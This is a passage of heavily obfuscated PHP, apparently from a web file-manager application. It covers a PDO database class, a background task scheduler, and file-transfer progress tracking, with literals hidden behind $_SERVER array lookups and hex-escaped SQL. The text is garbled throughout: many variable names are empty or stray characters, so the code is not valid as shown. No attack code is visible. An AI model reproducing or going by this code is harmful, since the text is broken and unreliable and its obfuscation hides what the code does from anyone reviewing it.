LNG($Đ[48]) . $this->queryStr; } think_trace($this->error, $Đ[12], $Đ[49]); return $this->error; } public function escapeString($ُ) { if ($this->_linkID) { return $this->_linkID->real_escape_string($ُ); } else { return addslashes($ُ); } } public function parseKey(&$҉, $ = true) { $ǯ =& $_SERVER[]; if ($) { $҉ = $this->parseKeyCheck($҉); } if ($҉ != $ǯ[181] && !preg_match($ǯ[898], $҉)) { $҉ = $ǯ[380] . trim($҉, $ǯ[380]) . $ǯ[380]; } return $҉; } } class DbPdo extends Db { protected $PDOStatement = null; private $table = ''; public function __construct($ = '') { $ =& $_SERVER[]; if (!class_exists($[901])) { think_exception(think_lang($[14]) . $[902]); } if (!empty($)) { $this->config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($޼ = '', $޽˕ = 0) { $򕍨 =& $_SERVER[]; if (!isset($this->linkID[$޽˕])) { if (empty($޼)) { $޼ = $this->config; } $Ñ = !empty($޼[$򕍨[17]][$򕍨[18]]) ? $޼[$򕍨[17]][$򕍨[18]] : $this->pconnect; if ($Ñ) { $޼[$򕍨[17]][PDO::ATTR_PERSISTENT] = !0; } try { $this->linkID[$޽˕] = new PDO($޼[$򕍨[903]], $޼[$򕍨[875]], $޼[$򕍨[876]], $޼[$򕍨[17]]); } catch (PDOException $̱) { think_exception($̱->getMessage()); } $this->dbType = $this->_getDsnType($޼[$򕍨[903]]); if (in_array($this->dbType, array($򕍨[904], $򕍨[905], $򕍨[906], $򕍨[907]))) { think_exception($򕍨[908] . $this->dbType . $򕍨[909] . $this->dbType . $򕍨[910]); } if (!$this->linkID[$޽˕]) { think_exception($򕍨[911]); } try { $this->linkID[$޽˕]->exec($򕍨[912] . think_config($򕍨[878])); } catch (Exception $̱) { } $this->connected = !0; if (1 != think_config($򕍨[22])) { unset($this->config); } } return $this->linkID[$޽˕]; } public function free() { $this->PDOStatement = null; } public function query($, $֚ = array()) { $ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if (!empty($֚)) { $this->queryStr .= $[913] . print_r($֚, !0) . $[914]; } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->PDOStatement = $this->_linkID->prepare($); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $󗄛 = $this->PDOStatement->execute($֚); $this->debug(); if (!1 === $󗄛) { $this->error(); return !1; } else { return $this->getAll(); } } public function execute($܏, $ͣ = array()) { $򐘐 =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $܏; if (!empty($ͣ)) { $this->queryStr .= $򐘐[913] . print_r($ͣ, !0) . $򐘐[914]; } $ = !1; if ($this->dbType == $򐘐[907]) { if (preg_match($򐘐[915], $this->queryStr, $)) { $this->table = think_config($򐘐[916]) . str_ireplace(think_config($򐘐[917]), $򐘐[373], $[2]); $ = (bool) $this->query($򐘐[918] . strtoupper($this->table) . $򐘐[58]); } } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($򐘐[25], 1); think_status($򐘐[24]); $this->PDOStatement = $this->_linkID->prepare($܏); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $߹ = $this->PDOStatement->execute($ͣ); $this->debug(); if (!1 === $߹) { $this->error(); return !1; } else { $this->numRows = $this->PDOStatement->rowCount(); if ($ || preg_match($򐘐[919], $܏)) { $this->lastInsID = $this->getLastInsertId(); } return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->beginTransaction(); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $Ҙ = $this->_linkID->commit(); $this->transTimes = 0; if (!$Ҙ) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $͘ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$͘) { $this->error(); return !1; } } return !0; } private function getAll() { $Ʈ = $this->PDOStatement->fetchAll(PDO::FETCH_ASSOC); $this->numRows = count($Ʈ); return $Ʈ; } public function getFields($皠) { $ =& $_SERVER[]; $this->initConnect(!0); if (think_config($[920])) { $ = str_replace($[921], $皠, think_config($[920])); } else { switch ($this->dbType) { case $[904]: case $[922]: $ = "\123\x45\114\105\x43\x54\40\x20\x20\x63\157\154\165\155\x6e\137\x6e\x61\155\145\x20\141\163\x20\x27\116\x61\155\x65\47\x2c\40\40\40\144\x61\164\141\137\x74\171\160\145\40\141\163\x20\x27\x54\171\160\x65\47\54\40\x20\x20\143\157\x6c\165\x6d\156\x5f\x64\x65\146\x61\165\x6c\x74\40\x61\163\x20\x27\x44\145\x66\x61\165\x6c\x74\47\x2c\x20\x20\40\x69\x73\137\x6e\x75\x6c\154\x61\142\154\x65\x20\141\163\40\47\x4e\165\154\x6c\x27\12\11\11\106\122\x4f\115\11\151\156\x66\x6f\162\155\x61\x74\151\x6f\156\x5f\x73\143\150\x65\x6d\141\x2e\x74\x61\142\x6c\x65\x73\x20\x41\123\x20\164\xa\x9\11\x4a\x4f\111\x4e\11\151\x6e\146\157\x72\x6d\x61\164\x69\x6f\x6e\137\x73\x63\150\x65\x6d\141\x2e\x63\x6f\154\165\x6d\156\163\x20\101\x53\40\x63\xa\11\11\117\x4e\x20\x20\164\56\x74\x61\142\154\145\x5f\x63\x61\x74\141\x6c\157\x67\x20\75\40\x63\x2e\164\141\x62\x6c\145\x5f\143\x61\x74\x61\x6c\x6f\147\xa\11\x9\x41\x4e\104\40\164\56\x74\141\142\154\x65\x5f\163\x63\x68\145\155\141\x20\75\40\143\56\164\x61\142\x6c\x65\x5f\x73\143\150\x65\x6d\x61\12\x9\x9\x41\x4e\x44\x20\x74\56\164\141\142\154\145\137\x6e\x61\x6d\x65\x20\x3d\x20\143\x2e\x74\141\x62\x6c\145\x5f\x6e\x61\x6d\145\12\x9\x9\127\110\x45\x52\x45\x20\x20\x20\x74\x2e\164\x61\x62\154\145\x5f\156\141\155\x65\x20\75\40\x27{$皠}\47"; break; case $[923]: $ = $[924] . $皠 . $[925]; break; case $[905]: case $[907]: $ = $[926] . $[927] . $[928] . strtoupper($皠) . $[929] . strtoupper($皠) . $[930]; break; case $[931]: $ = $[932] . $皠 . $[933]; break; case $[906]: break; case $[934]: default: $ = $[935] . ($this->dbType == $[934] ? "\140{$皠}\x60" : $皠); } } $ = $this->query($); $֬ = array(); if ($) { foreach ($ as $ॺČ => $DZ˄) { $DZ˄ = array_change_key_case($DZ˄); $DZ˄[$[32]] = isset($DZ˄[$[32]]) ? $DZ˄[$[32]] : $[373]; $DZ˄[$[33]] = isset($DZ˄[$[33]]) ? $DZ˄[$[33]] : $[373]; $ﵜޟ = isset($DZ˄[$[268]]) ? $DZ˄[$[268]] : $DZ˄[$[32]]; $֬[$ﵜޟ] = array($[32] => $ﵜޟ, $[33] => $DZ˄[$[33]], $[35] => (bool) (isset($DZ˄[$[104]]) && $DZ˄[$[104]] === $[12] || isset($DZ˄[$[35]]) && $DZ˄[$[35]] === $[12]), $[37] => isset($DZ˄[$[37]]) ? $DZ˄[$[37]] : (isset($DZ˄[$[56]]) ? $DZ˄[$[56]] : $[373]), $[39] => isset($DZ˄[$[95]]) ? strtolower($DZ˄[$[95]]) == $[41] : (isset($DZ˄[$[57]]) ? $DZ˄[$[57]] : !1), $[42] => isset($DZ˄[$[936]]) ? strtolower($DZ˄[$[936]]) == $[44] : (isset($DZ˄[$[95]]) ? $DZ˄[$[95]] : !1)); } } return $֬; } public function getTables($ = '') { $ڭ =& $_SERVER[]; if (think_config($ڭ[937])) { $ = str_replace($ڭ[938], $, think_config($ڭ[937])); } else { switch ($this->dbType) { case $ڭ[905]: case $ڭ[907]: $ = $ڭ[939]; break; case $ڭ[904]: case $ڭ[922]: $ = $ڭ[940]; break; case $ڭ[931]: $ = $ڭ[941]; break; case $ڭ[906]: think_exception(think_lang($ڭ[942]) . $ڭ[943]); break; case $ڭ[923]: $ = $ڭ[45] . $ڭ[46] . $ڭ[47]; break; case $ڭ[934]: default: if (!empty($)) { $ = $ڭ[886] . $ . $ڭ[887]; } else { $ = $ڭ[888]; } } } $޲ = $this->query($); $ϼ = array(); foreach ($޲ as $ݻ => $ξ) { $ϼ[$ݻ] = current($ξ); } return $ϼ; } protected function parseLimit($ޯ) { $ =& $_SERVER[]; $ƹ = $[12]; if (!empty($ޯ)) { switch ($this->dbType) { case $[931]: case $[923]: $ޯ = explode($[50], $ޯ); if (count($ޯ) > 1) { $ƹ .= $[51] . $ޯ[1] . $[52] . $ޯ[0] . $[53]; } else { $ƹ .= $[51] . $ޯ[0] . $[53]; } break; case $[904]: case $[922]: break; case $[906]: break; case $[905]: case $[907]: break; case $[934]: default: $ƹ .= $[51] . $ޯ . $[53]; } } return $ƹ; } public function parseKey(&$, $ = true) { $䝟 =& $_SERVER[]; if ($) { $ = $this->parseKeyCheck($); } if ($this->dbType == $䝟[934]) { if ($ != $䝟[181] && !preg_match($䝟[898], $)) { $ = $䝟[380] . trim($, $䝟[380]) . $䝟[380]; } return $; } else { return parent::parseKey($, $); } } public function close() { $this->_linkID = null; } public function error() { $ =& $_SERVER[]; if ($this->PDOStatement) { $٧ = $this->PDOStatement->errorInfo(); $this->error = $٧[1] . $[4] . $٧[2]; } else { $this->error = $[12]; } if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($) { $¨Ɋ =& $_SERVER[]; switch ($this->dbType) { case $¨Ɋ[931]: case $¨Ɋ[904]: case $¨Ɋ[922]: case $¨Ɋ[934]: return addslashes($); case $¨Ɋ[906]: case $¨Ɋ[923]: case $¨Ɋ[905]: case $¨Ɋ[907]: return str_ireplace($¨Ɋ[58], $¨Ɋ[59], $); } } protected function parseValue($Ქ) { $Ă =& $_SERVER[]; if (is_string($Ქ)) { $䈏 = strpos($Ქ, $Ă[4]) === 0 && in_array($Ქ, array_keys($this->bind)); $Ქ = $䈏 ? $this->escapeString($Ქ) : $Ă[944] . $this->escapeString($Ქ) . $Ă[944]; } elseif (isset($Ქ[0]) && is_string($Ქ[0]) && strtolower($Ქ[0]) == $Ă[292]) { $Ქ = $this->escapeString($Ქ[1]); } elseif (is_array($Ქ)) { $Ქ = array_map(array($this, $Ă[945]), $Ქ); } elseif (is_bool($Ქ)) { $Ქ = $Ქ ? $Ă[89] : $Ă[190]; } elseif (is_null($Ქ)) { $Ქ = $Ă[104]; } return $Ქ; } public function getLastInsertId() { $ =& $_SERVER[]; switch ($this->dbType) { case $[931]: case $[923]: case $[904]: case $[922]: case $[906]: case $[934]: return $this->_linkID->lastInsertId(); case $[905]: case $[907]: $ = $this->table; $ٻ = $this->query("\x53\105\x4c\x45\103\124\x20{$}\x2e\143\x75\x72\x72\x76\x61\x6c\40\x63\x75\162\x72\166\x61\x6c\40\106\x52\117\115\40\x64\x75\x61\154"); return $ٻ ? $ٻ[0][$[946]] : 0; } } } goto Fƪʏ; eӖ: class AutoTask { const AUTO_DELAY_TIME = 2; const AUTO_RESTART_TIME = 7200; public static function start() { $ =& $_SERVER[]; if (self::valueGet($[743]) != $[89]) { return; } if (self::valueGet($[1602]) == $[89]) { $̟Ͱ = self::valueGet($[1603]); if (time() - $̟Ͱ > self::AUTO_RESTART_TIME) { self::restart(); } return; } http_close(); self::valueSet($[1602], $[89]); self::log($[1604]); Hook::bind($[1605], $[1606]); $ݪ = 0; while (!0) { self::cacheClear(); if (self::valueGet($[743]) != $[89]) { self::valueSet($[1602], $[190]); self::log($[1607]); die; } $ = time(); if ($ - $ݪ >= 60) { self::valueSet(array($[1602] => $[89], $[1603] => $), !1); $ݪ = $; } if (!file_exists(USER_SYSTEM . $[1608])) { self::valueSet(array($[1602] => $[190], $[743] => $[190]), !1); self::log($[1609]); die; } self::taskRunAll(); sleep(self::AUTO_DELAY_TIME); } } public static function restart() { $ِ =& $_SERVER[]; http_close(); self::valueSet($ِ[743], $ِ[190]); sleep(self::AUTO_DELAY_TIME + 5); self::valueSet(array($ِ[1602] => $ِ[190], $ِ[743] => $ِ[89]), !1); } public static function shutdownEvent() { $ =& $_SERVER[]; self::valueSet($[1602], $[190]); self::log($[1610]); } public static function config($ٝ, $) { self::valueSet($_SERVER[][743], $ٝ); } private static function taskRunAll() { $ǽ =& $_SERVER[]; $ = timeFloat(); $τ = Model($ǽ[1611])->listData(); $ = count($τ); for ($ = 0; $ < $; $++) { $ = $τ[$]; if (!$[$ǽ[401]] || $[$ǽ[1612]] != $ǽ[89]) { continue; } if (!self::taskTimeCheck($)) { continue; } self::taskRun($); } Hook::trigger($ǽ[1613]); self::taskQueueRun($); } private static function taskQueueRun($ዧ܉) { $֢ٟ = 10; while (!0) { $ρʔ = TaskQueue::run(); if ($ρʔ === !1) { break; } if (timeFloat() - $ዧ܉ >= $֢ٟ) { break; } } } private static function taskTimeCheck($ԍ) { $˲ =& $_SERVER[]; $ɤ = json_decode($ԍ[$˲[196]], !0); $ = intval($ԍ[$˲[1603]]); $ = strtotime($˲[1614] . $ɤ[$˲[1615]] . $˲[1616]) - strtotime($˲[1617]); $ = time() - strtotime(date($˲[1618]) . $˲[1619]); $ܚϫ = $ >= $ && $ <= $ + 3600; switch ($ɤ[$˲[33]]) { case $˲[1620]: if (time() - $ < 3600 * 24 * 30) { return !1; } if ($ɤ[$˲[1620]] == date($˲[1621]) && $ܚϫ) { return !0; } break; case $˲[1622]: if (time() - $ < 3600 * 24 * 7) { return !1; } $ = date($˲[1623]) == 0 ? 7 : date($˲[1623]); if ($ɤ[$˲[1622]] == $ && $ܚϫ) { return !0; } break; case $˲[1615]: if (time() - $ < 3600 * 24) { return !1; } if ($ܚϫ) { return !0; } break; case $˲[1624]: if (time() - $ >= floatval($ɤ[$˲[1624]]) * 60) { return !0; } break; default: break; } return !1; } private static function closeDatabase() { $ë˳ =& $_SERVER[]; static $ԓ = 0; $à = 300; if (!$ԓ) { $ԓ = time(); } if (time() - $ԓ < $à) { return; } $ԓ = time(); $ = Model($ë˳[513])->db($ë˳[12]); if ($) { $->closeConnect(); } if (time() - TIME > 3600 * 24 * 3) { self::log($ë˳[1625], $ë˳[1626]); die; } } public static function taskRun($˦) { $ =& $_SERVER[]; self::log($[1627] . $˦[$[401]] . $[1628] . $˦[$[32]] . $[1629] . $˦[$[1630]]); Model($[1611])->run($˦[$[401]]); $ = timeFloat(); $ʁ = $[12]; switch ($˦[$[33]]) { case $[302]: $݀ = url_request($˦[$[1630]], $[225], !1, !1, !1, !1, 10); if ($݀[$[743]]) { $ʁ = strlen($݀[$[1178]]); } break; case $[224]: $ʁ = Hook::apply($˦[$[1630]]); default: break; } Model($[1631])->add(array($[1632] => $[12], $[1633] => $[190], $[33] => $[1634] . $˦[$[401]], $[1635] => json_encode(array($[32] => $˦[$[32]], $[1636] => timeFloat() - $, $[288] => $ʁ)))); $ = $ʁ ? $[1637] . $ʁ : $[12]; self::log($[1638] . $˦[$[401]] . $[536] . $); return !0; } private static function valueGet($Ӟ) { $𣗧 =& $_SERVER[]; $㴅 = $𣗧[1639]; $Ƶ = Model($𣗧[433])->get($Ӟ, $㴅); if (is_null($Ƶ)) { Model($𣗧[433])->set($𣗧[743], $𣗧[89], $㴅); Model($𣗧[433])->set($𣗧[1602], $𣗧[190], $㴅); $Ƶ = Model($𣗧[433])->get($Ӟ, $㴅); } return $Ƶ; } private static function valueSet($ټ, $ٛ׵) { $ =& $_SERVER[]; $嫏 = $[1640]; CacheLock::lock($嫏); $ = Model($[433])->set($ټ, $ٛ׵, $[1639]); CacheLock::unlock($嫏); return $; } protected static function log($Çք) { write_log($Çք, $_SERVER[][1626]); } private static function cacheClear() { $뢌 =& $_SERVER[]; Cache::clearMemory(Model($뢌[433])->cacheKey($뢌[1639])); Cache::clearMemory(Model($뢌[433])->cacheKey($뢌[1641])); Model($뢌[1611])->cacheClear(); self::closeDatabase(); } } class Task { const STATYS_STOP = "\163\x74\x6f\160"; const STATYS_RUNNING = "\x72\165\x6e\x6e\151\x6e\147"; const STATYS_KILL = "\153\151\154\x6c"; public $task; public function __destruct() { $this->end(); } public function __construct($, $Ը = '', $Þڥ = 0, $韲 = '') { $ =& $_SERVER[]; if (self::get($)) { return; } $this->task = array($[401] => $, $[1642] => USER_ID, $[1539] => $韲, $[33] => $Ը, $[1051] => $[12], $[779] => $Þڥ, $[1643] => 0, $[1644] => 0, $[1645] => 0, $[1646] => timeFloat(), $[1647] => 0, $[1648] => 0, $[1649] => 0, $[1650] => 0, $[743] => $[1602]); $GLOBALS[$[1651]] = 1; Hook::bind($[1605], array($this, $[1652])); Hook::bind($[1653], array($this, $[1654])); $this->startAfter(); Hook::trigger($[1655], $this->task); $this->task[$[1648]] = timeFloat(); } public function end() { $م =& $_SERVER[]; if (!$this->task) { return; } if ($this->task[$م[1648]]) { self::valueSet($this->task[$م[401]], !1); } $Ű = timeFloat() - $this->task[$م[1646]]; self::log($م[1656] . $this->task[$م[401]] . $م[1657] . $Ű . $م[1658]); Hook::unbind($م[1605], array($this, $م[1652])); Hook::unbind($م[1653], array($this, $م[1654])); $this->endAfter(); $this->task = !1; } public function update($˺ = 0, $ªԂ = false) { $ =& $_SERVER[]; $ =& $this->task; if (!$) { return; } $[$[1643]] += $˺; $[$[1647]] = timeFloat(); if ($[$[779]]) { if ($[$[779]] < $[$[1643]]) { $[$[779]] = $[$[1643]]; } $ϩ = timeFloat() - $[$[1646]] - $[$[1649]]; $[$[1644]] = $[$[1643]] / $[$[779]]; $[$[1645]] = $[$[1643]] / $ϩ; if ($[$[1644]] > 0) { $[$[1650]] = $ϩ * (1 - $[$[1644]]) / $[$[1644]]; } $[$[1650]] = $[$[1650]] <= 0 ? 0 : $[$[1650]]; } $this->updateAfter(); $ = 0.2; if (timeFloat() - $[$[1648]] < $ && !$ªԂ) { return; } $ۼ = self::get($[$[401]]); $Ȏɪ = $ۼ[$[743]]; if ($Ȏɪ == self::STATYS_KILL) { $ = array($[1659] => LNG($[1660]), $[1176] => !1); Cache::set($[1661] . $this->task[$[401]], $, 30); $this->onKill(); $this->end(); die; } else { if ($Ȏɪ == self::STATYS_STOP) { $ = 2; $ۼ[$[1649]] += $; self::valueSet($[$[401]], $ۼ); sleep($); $this->update(); return; } } $[$[743]] = $Ȏɪ ? $Ȏɪ : $[$[743]]; $[$[1649]] = $ۼ[$[1649]] ? $ۼ[$[1649]] : 0; $[$[1648]] = timeFloat(); Hook::trigger($[1662], $); self::valueSet($[$[401]], $); } public function onKillSet($, $㚯 = array()) { $this->onKillCall = array($, $㚯); } public function onKill() { $ =& $_SERVER[]; self::log($[1656] . $this->task[$[401]] . $[1663]); if (!$this->onKillCall) { return; } ActionApply($this->onKillCall[0], $this->onKillCall[1]); $this->onKillCall = !1; } protected function updateAfter() { } protected function startAfter() { } protected function endAfter() { } public function shutdownEvent() { $this->end(); } public function showJson($з܆) { $ =& $_SERVER[]; Cache::set($[1661] . $this->task[$[401]], $з܆, 60); return $з܆; } public static function get($̏) { $ӭ =& $_SERVER[]; $ = self::valueGet($̏); if (is_array($) && $[$ӭ[1664]]) { $ʨ = ActionApply($[$ӭ[1664]], array($)); $ = is_array($ʨ) ? $ʨ : $; } return $; } public static function listData() { $朌 = self::valueGet(); return array_sort_by($朌, $_SERVER[][1646], !0); } public static function kill($) { return self::changeStatus($, self::STATYS_KILL); } public static function stop($͒) { return self::changeStatus($͒, self::STATYS_STOP); } public static function restart($ƚ) { return self::changeStatus($ƚ, self::STATYS_RUNNING); } public static function killAll() { $ =& $_SERVER[]; $͎؈ = self::listData(); foreach ($͎؈ as $) { self::kill($[$[401]]); } sleep(2); foreach ($͎؈ as $) { self::valueSet($[$[401]], !1); } } private static function changeStatus($ַ, $) { $Ɩݤ =& $_SERVER[]; $ = self::valueGet($ַ); if (!$) { return !1; } $[$Ɩݤ[743]] = $; self::valueSet($ַ, $); self::log($Ɩݤ[1665] . $[$Ɩݤ[401]] . $Ɩݤ[1666] . $); return !0; } public static function valueGet($ = false) { $܀ =& $_SERVER[]; if ($) { $ƻ = Model($܀[445])->where(array($܀[95] => $, $܀[33] => $܀[1058]))->find(); return $ƻ ? json_decode($ƻ[$܀[369]], !0) : !1; } return self::taskListUser(USER_ID); } public static function taskListUser($ٴ = false) { $Ϙ =& $_SERVER[]; $؜ = array($Ϙ[33] => $Ϙ[1058]); if ($ٴ) { $؜[$Ϙ[1642]] = $ٴ; } $ = Model($Ϙ[445])->where($؜)->select(); $ = $ ? $ : array(); foreach ($ as $Ҋ => $ƴ) { $[$Ҋ] = json_decode($ƴ[$Ϙ[369]], !0); } return $; } public static function valueSet($Л, $梼) { $ӝꓻ =& $_SERVER[]; if (!$梼) { return Model($ӝꓻ[445])->where(array($ӝꓻ[95] => $Л, $ӝꓻ[33] => $ӝꓻ[1058]))->delete(); } $Օ = json_encode($梼); if (!$Օ) { ob_start(); var_dump($梼); $ = ob_get_clean(); self::log($ӝꓻ[1667] . json_encode_force($)); } if (!$Л || !$梼[$ӝꓻ[401]]) { return !1; } $ = array($ӝꓻ[33] => $ӝꓻ[1058], $ӝꓻ[1642] => USER_ID, $ӝꓻ[95] => $Л, $ӝꓻ[369] => $Օ); $ͣ = $ӝꓻ[1668]; CacheLock::lock($ͣ); Model($ӝꓻ[445])->add($, array(), !0); CacheLock::unlock($ͣ); } public static function log($剱) { if (!GLOBAL_DEBUG) { return; } write_log($剱, $_SERVER[][1669]); } } class TaskFileTransfer extends Task { protected function startAfter() { $ɀ =& $_SERVER[]; $ =& $this->task; $this->sourceCopyFolder = !1; Hook::bind($ɀ[1670], array($this, $ɀ[1671])); Hook::bind($ɀ[1200], array($this, $ɀ[1672])); Hook::bind($ɀ[1673], array($this, $ɀ[1674])); Hook::bind($ɀ[598], array($this, $ɀ[1675])); Hook::bind($ɀ[599], array($this, $ɀ[1676])); Hook::bind($ɀ[601], array($this, $ɀ[1677])); Hook::bind($ɀ[602], array($this, $ɀ[1677])); Hook::bind($ɀ[568], array($this, $ɀ[1678])); Hook::bind($ɀ[565], array($this, $ɀ[1678])); Hook::bind($ɀ[570], array($this, $ɀ[1678])); Hook::bind($ɀ[572], array($this, $ɀ[1678])); Hook::bind($ɀ[574], array($this, $ɀ[1678])); Hook::bind($ɀ[1679], array($this, $ɀ[1680])); Hook::bind($ɀ[591], array($this, $ɀ[1681])); $this->sourceModelCopyFlag = !1; Hook::bind($ɀ[1682], array($this, $ɀ[1683])); Hook::bind($ɀ[1684], array($this, $ɀ[1685])); Hook::bind($ɀ[1686], array($this, $ɀ[1687])); $[$ɀ[1688]] = LNG($ɀ[1689]); $[$ɀ[1690]] = 0; $[$ɀ[1691]] = 0; $[$ɀ[1051]] = $ɀ[12]; $[$ɀ[1692]] = $ɀ[12]; $[$ɀ[1693]] = 0; $[$ɀ[1694]] = 0; $[$ɀ[1695]] = 0; if (!$[$ɀ[1539]]) { $[$ɀ[1539]] = LNG($ɀ[1696]); } } protected function endAfter() { $Ϟ =& $_SERVER[]; Hook::unbind($Ϟ[1670], array($this, $Ϟ[1671])); Hook::unbind($Ϟ[1200], array($this, $Ϟ[1672])); Hook::unbind($Ϟ[1673], array($this, $Ϟ[1674])); Hook::unbind($Ϟ[598], array($this, $Ϟ[1675])); Hook::unbind($Ϟ[599], array($this, $Ϟ[1676])); Hook::unbind($Ϟ[601], array($this, $Ϟ[1677])); Hook::unbind($Ϟ[602], array($this, $Ϟ[1677])); Hook::unbind($Ϟ[568], array($this, $Ϟ[1678])); Hook::unbind($Ϟ[565], array($this, $Ϟ[1678])); Hook::unbind($Ϟ[570], array($this, $Ϟ[1678])); Hook::unbind($Ϟ[572], array($this, $Ϟ[1678])); Hook::unbind($Ϟ[574], array($this, $Ϟ[1678])); Hook::unbind($Ϟ[1679], array($this, $Ϟ[1680])); Hook::unbind($Ϟ[591], array($this, $Ϟ[1681])); Hook::unbind($Ϟ[1682], array($this, $Ϟ[1683])); Hook::unbind($Ϟ[1684], array($this, $Ϟ[1685])); Hook::unbind($Ϟ[1686], array($this, $Ϟ[1687])); } public function copyMoveStart($, $, $ʋ, $IJ) { $Ҷ =& $_SERVER[]; self::log($Ҷ[1697] . $ . $Ҷ[70] . $IJ); $ = rtrim(TEMP_FILES, $Ҷ[8]); if (substr($, 0, strlen($)) == $) { return; } if (substr($IJ, 0, strlen($)) == $) { return; } $̖ =& $this->task; $̖[$Ҷ[1698]] = KodIO::transferType($, $ʋ); $this->update(); } public function updateAfter() { $ =& $_SERVER[]; $ʢȐ =& $this->task; if (!$ʢȐ[$[756]]) { return; } if ($this->sourceModelCopyFlag) { return; } if ($ʢȐ[$[1698]] == $[1289]) { return; } self::updateTask($ʢȐ); } private static function updateTask(&$϶) { $ŅȮ =& $_SERVER[]; if ($϶[$ŅȮ[1698]] == $ŅȮ[1184] || $϶[$ŅȮ[1698]] == $ŅȮ[108]) { if ($϶[$ŅȮ[1692]]) { $϶[$ŅȮ[1695]] = $϶[$ŅȮ[1694]] + $϶[$ŅȮ[1691]]; } } else { if ($϶[$ŅȮ[1698]] == $ŅȮ[1290]) { if ($϶[$ŅȮ[1692]] == $ŅȮ[1184]) { $϶[$ŅȮ[1695]] = $϶[$ŅȮ[1694]] + $϶[$ŅȮ[1691]] * 0.5; } else { if ($϶[$ŅȮ[1692]] == $ŅȮ[108]) { $϶[$ŅȮ[1695]] = $϶[$ŅȮ[1694]] + $϶[$ŅȮ[1690]] * 0.5 + $϶[$ŅȮ[1691]] * 0.5; } } } } $϶[$ŅȮ[1644]] = $϶[$ŅȮ[1695]] / $϶[$ŅȮ[756]]; if ($϶[$ŅȮ[1644]] > 0) { $ = timeFloat() - $϶[$ŅȮ[1646]] - $϶[$ŅȮ[1649]]; $϶[$ŅȮ[1650]] = $ * (1 - $϶[$ŅȮ[1644]]) / $϶[$ŅȮ[1644]]; } } public function addPath($ڡ) { $ =& $_SERVER[]; if (!$ڡ) { return; } $‡ =& $this->task; $ׄ = IO::infoWithChildren($ڡ); $ʰ = $‡[$[1699]] ? $‡[$[1699]][$[1700]] : 0; $‡[$[1699]] = array($[1700] => $ʰ + 1, $[421] => $ׄ[$[32]], $[78] => $ׄ[$[78]], $[519] => $ׄ[$[519]] ? $ׄ[$[519]] : $ׄ[$[78]]); if ($ׄ[$[33]] == $[192]) { $‡[$[779]] += 1; } else { $‡[$[779]] += $ׄ[$[83]][$[81]]; if ($ׄ[$[403]]) { $‡[$[779]] += $ׄ[$[83]][$[82]] + 1; } } $‡[$[756]] += $ׄ[$[80]]; $this->update(); } public function sourceCopyFolderStart() { $this->sourceCopyFolder = !0; } public function sourceCopyFolderEnd() { $this->sourceCopyFolder = !1; } public function sourceAddFile($) { $ =& $_SERVER[]; $Ӂ =& $this->task; $Ӂ[$[1688]] = $[$[32]]; $Ӂ[$[1051]] = $[$[32]]; $this->update(); } public function copyFileStart($, $, $, $ĵ‡, $, $Г) { $ǂ =& $_SERVER[]; $ = $; if ($ == $GLOBALS[$ǂ[1701]]) { $ = $GLOBALS[$ǂ[1702]]; } $GLOBALS[$ǂ[1702]] = $; $GLOBALS[$ǂ[1701]] = $Г; $銥 =& $this->task; $銥[$ǂ[1688]] = $; $銥[$ǂ[1690]] = (int) $->size($); $銥[$ǂ[1691]] = 0; $銥[$ǂ[1051]] = $ǂ[12]; $銥[$ǂ[1692]] = $ǂ[12]; $銥[$ǂ[1693]] = 0; $ = $銥[$ǂ[1690]] > 1024 * 1024 * 10 ? !0 : !1; Cache::remove($銥[$ǂ[401]] . $ǂ[1703]); if ($ && file_exists(get_path_father($ĵ‡))) { Cache::set($銥[$ǂ[401]] . $ǂ[1703], $ĵ‡); $銥[$ǂ[1664]] = array($ǂ[1704], $ǂ[1705]); } $this->update(0, $); } public static function updateCopyLocalFileSize($ℌ) { $̯ =& $_SERVER[]; $ؓ߳ = Cache::get($ℌ[$̯[401]] . $̯[1703]); if (!$ؓ߳ || !file_exists($ؓ߳)) { return $ℌ; } $ℌ[$̯[1691]] = @filesize($ؓ߳); $ℌ[$̯[1695]] += $ℌ[$̯[1691]]; self::updateTask($ℌ); return $ℌ; } public function copyFileEnd($ь, $ͻ, $Ī, $ơ, $, $莔) { $㚺 =& $_SERVER[]; $ȯݎ =& $this->task; $ȯݎ[$㚺[1691]] = $ȯݎ[$㚺[1690]]; $ȯݎ[$㚺[1692]] = $㚺[12]; unset($ȯݎ[$㚺[1664]]); if ($ == $ȯݎ[$㚺[1688]]) { $ȯݎ[$㚺[1694]] += $ȯݎ[$㚺[1690]]; $ȯݎ[$㚺[1695]] = $ȯݎ[$㚺[1694]]; $this->update(1); } else { $this->update(); $ȯݎ[$㚺[1691]] = 0; } Cache::remove($ȯݎ[$㚺[401]] . $㚺[1703]); self::log($㚺[1706] . $ͻ . $㚺[70] . $ơ . $㚺[226] . $ . $㚺[1707] . $ȯݎ[$㚺[1688]]); } public function updateFileEnd($, $ʔ) { $۫ =& $_SERVER[]; $ܺ =& $this->task; $ܺ[$۫[1688]] = $; $ܺ[$۫[1690]] = $ʔ; $ܺ[$۫[1694]] += $ʔ; $ܺ[$۫[1695]] = $ܺ[$۫[1694]]; $this->update(1); self::log($۫[1708] . $); } public function sourceModelCopy($Ɠ) { $П =& $_SERVER[]; $ս = $Ɠ[0]; $ò = $Ɠ[1]; $ٗ =& $this->task; $this->sourceModelCopyFlag = !0; $̛ʐ = 0; switch ($ս) { case $П[566]: $̛ʐ = 1; break; case $П[569]: $ٗ[$П[1688]] = $ò[$П[32]]; break; case $П[571]: $̛ʐ = intval($Ɠ[$П[375]] * 0.4); break; case $П[573]: $̛ʐ = intval($Ɠ[$П[375]] * 0.2); break; case $П[575]: $̛ʐ = intval($Ɠ[$П[375]] * 0.4); break; } 